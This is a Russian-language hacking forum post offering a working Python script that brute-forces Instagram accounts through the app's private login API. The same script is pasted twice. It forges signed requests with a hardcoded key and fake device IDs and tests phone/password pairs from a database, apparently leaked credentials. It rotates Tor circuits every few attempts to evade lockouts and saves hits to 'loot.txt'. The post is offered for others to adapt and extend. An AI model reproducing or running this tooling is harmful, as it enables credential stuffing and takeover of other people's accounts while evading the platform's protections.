Способ брутфорса instagram через приватный API

denisov666

Пользователь
19 Апр 2018
17
12
0
123
В общем ребят, я тут новенький, на форуме.. но в теме варюсь очень плотно, хотелось познакомиться и наконец-то немного набить статистику для полноценного отображений аватара)

Способ нашёл давно, когда выковыривал внутрянку APK инстаграма.. изучал запросы по которым бегает приложение
суть в эмуляции действия с самого клиента.
Ключ много раз менялся за всё это время, а так-же менялся способ подписи данных

Плюсы:
  • Возможность узнать привязан ли по номеру телефона аккаунт инстаграмма
  • Возможность брута инсты по логину\емайлу\номеру телефона
  • Непосредственная работа через эмуляцию, с обходом ограниченний которые могут иметься на WEB клиенте
  • Я представляю вам source на python-е, а вы можете переписать для своих нужд под свой любиый ЯП
Скрипт пока однопоточный, пытаюсь понять возможные лимиты и привязанность к IP адрессу
Дальше можно оптимизировать и выставить правильный баланс

Что бы не залочить аккаунты сделал выставку смены TOR цепочки каждые 5 запросовпереписать для своих нужд
Повторюсь, пример simple-овый, если есть пожелания - могу переписать на любой язык, добавить то что вам необходимо
5.png

#!/usr/bin/env python

import requests, socks, socket, os, sys, re, json, hashlib, hmac, time, random, codecs
import subprocess
import sqlite3 as lite
from requests.packages.urllib3.exceptions import InsecureRequestWarning

con = lite.connect('/home/rager/dev/database.db')

h = {'User-Agent':'Instagram 10.33.0 Android (23/6.0.1; 640dpi; 1440x2560; ZTE; ZTE A2017U; ailsa_ii; qcom; en_US)',
"X-FB-HTTP-Engine":"Liger",
"Accept":" */*",
"Accept-Encoding":"gzip,deflate",
"Accept-Language":"en-US",
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
"X-IG-Capabilities":" 3boDAA==",
"X-IG-Connection-Type": "WIFI",
"X-IG-Connection-Speed": "224а4kbps"}

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#SETTINGS
proxies = {'http': 'socks5://127.0.0.1:9050/', 'https': 'socks5://127.0.0.1:9050/'}
key = '0443b39a54b05f064a4917a3d1da4d6524a3fb0878eacabf1424515051674daa'

def get_my_ip():
while True:
try:
r = requests.get('https://api.ipify.org', proxies=proxies)
if r:
if r.status_code == 200:
return r.text
except requests.ConnectionError:
print ' [-] ConnectionError'
time.sleep(20)

print ' \033[96m[+]\033[0m Proxy server activated: ' + get_my_ip()

def auth_login(login, password):
token = ''.join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 32))
try:
packet = '{"phone_id":"006ecde7-ada0-4ed0-b0c5-067ec3b00128",\
"_csrftoken":"%s",\
"username":"%s",\
"adid":"ec8f8a12-27b1-4f40-ab6b-9f585fcb9be9",\
"guid":"b6fee990-7bd8-439e-82dc-c3715371fd44",\
"device_id":"android-5916b8934854e290",\
"password":"%s",\
"login_attempt_count":"0"}' % (token, login, password)

sig = hmac.new(key, msg=packet, digestmod=hashlib.sha256).digest().encode("hex")
ans = requests.post('https://i.instagram.com/api/v1/accounts/login/', 'signed_body=%s.%s&ig_sig_key_version=4' % (sig, packet), proxies=proxies, headers=h)
json_obj = json.loads(ans.content)

if json_obj.has_key('error_title'):
return json_obj.get('error_title')
else:
return json_obj.get('logged_in_user')
except:
print ' Failed', login
return None

def loger(data):
f = codecs.open('loot.txt', encoding='utf-8', mode='a')
f.write(data + "\n")
f.close()

def tor_change():
subprocess.call(['/home/rager/dev/torch.sh'], stdout=subprocess.PIPE)
print ' \033[96m[+]\033[0m Proxy server changed:', get_my_ip()

def main():
try:
lim = 6
c = 0
for acc in con.execute("SELECT phone,password FROM data WHERE password is NOT NULL GROUP by id_owner,password ORDER by id_owner DESC"):

num = '7' + acc[0][-10:]
pk = auth_login(num,acc[1])

if c%lim == lim - 1:
tor_change()

if type(pk) is dict and pk.has_key('pk'):
print ' [+]\033[92m', num, '\033[0m >>', pk.get('username'), pk.get('profile_pic_url')
loger("%s\t%s\t%s\t%s" % (num,acc[1], pk.get('username'), pk.get('profile_pic_url')))
elif type(pk) is unicode:
c = c + 1
print ' [%s/%s] %s:%s - \033[91m%s\033[0m' % (c%lim, lim - 1, num, acc[1], pk)
else:
print ' Some shit...'
tor_change()

except Exception as e:
print ' error '
raise

main();



PHP:
#!/usr/bin/env python

import requests, socks, socket, os, sys, re, json, hashlib, hmac, time, random, codecs
import subprocess
import sqlite3 as lite
from requests.packages.urllib3.exceptions import InsecureRequestWarning

con = lite.connect('/home/rager/dev/database.db')

h = {'User-Agent':'Instagram 10.33.0 Android (23/6.0.1; 640dpi; 1440x2560; ZTE; ZTE A2017U; ailsa_ii; qcom; en_US)',
    "X-FB-HTTP-Engine":"Liger",
    "Accept":" */*",
    "Accept-Encoding":"gzip,deflate",
    "Accept-Language":"en-US",
    'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
    "X-IG-Capabilities":" 3boDAA==",
    "X-IG-Connection-Type": "WIFI",
    "X-IG-Connection-Speed": "224а4kbps"}

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#SETTINGS
proxies = {'http': 'socks5://127.0.0.1:9050/', 'https': 'socks5://127.0.0.1:9050/'}
key = '0443b39a54b05f064a4917a3d1da4d6524a3fb0878eacabf1424515051674daa'

def get_my_ip():
    while True:
        try:
            r = requests.get('https://api.ipify.org', proxies=proxies)
            if r:
                if r.status_code == 200:
                    return r.text
        except requests.ConnectionError:
            print ' [-] ConnectionError'
            time.sleep(20)
      
print ' \033[96m[+]\033[0m Proxy server activated: ' + get_my_ip()

def auth_login(login, password):
    token = ''.join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 32))
    try:
        packet = '{"phone_id":"006ecde7-ada0-4ed0-b0c5-067ec3b00128",\
        "_csrftoken":"%s",\
        "username":"%s",\
        "adid":"ec8f8a12-27b1-4f40-ab6b-9f585fcb9be9",\
        "guid":"b6fee990-7bd8-439e-82dc-c3715371fd44",\
        "device_id":"android-5916b8934854e290",\
        "password":"%s",\
        "login_attempt_count":"0"}' % (token, login, password)
      
        sig = hmac.new(key, msg=packet, digestmod=hashlib.sha256).digest().encode("hex")
        ans = requests.post('https://i.instagram.com/api/v1/accounts/login/',  'signed_body=%s.%s&ig_sig_key_version=4' % (sig, packet), proxies=proxies, headers=h)     
        json_obj = json.loads(ans.content)

        if json_obj.has_key('error_title'):
            return json_obj.get('error_title')
        else:
            return json_obj.get('logged_in_user')
    except:
        print ' Failed', login
        return None

def loger(data):
    f = codecs.open('loot.txt', encoding='utf-8', mode='a')
    f.write(data + "\n")
    f.close()
          
def tor_change():
    subprocess.call(['/home/rager/dev/torch.sh'], stdout=subprocess.PIPE)
    print ' \033[96m[+]\033[0m Proxy server changed:', get_my_ip()
 
def main():
    try:
        lim = 6
        c = 0
        for acc in con.execute("SELECT phone,password FROM data WHERE password is NOT NULL GROUP by id_owner,password ORDER by id_owner DESC"):
          
            num = '7' + acc[0][-10:]
            pk = auth_login(num,acc[1])
          
            if c%lim == lim - 1:
                tor_change()
 
            if type(pk) is dict and pk.has_key('pk'):
                print ' [+]\033[92m', num, '\033[0m >>', pk.get('username'), pk.get('profile_pic_url')
                loger("%s\t%s\t%s\t%s" % (num,acc[1], pk.get('username'), pk.get('profile_pic_url')))
            elif type(pk) is unicode:
                c = c + 1
                print ' [%s/%s] %s:%s - \033[91m%s\033[0m' % (c%lim, lim - 1, num, acc[1], pk)
            else:
                print ' [i] Some shit...'
                tor_change()
          
    except Exception as e:
        print ' error '
        raise
      
main();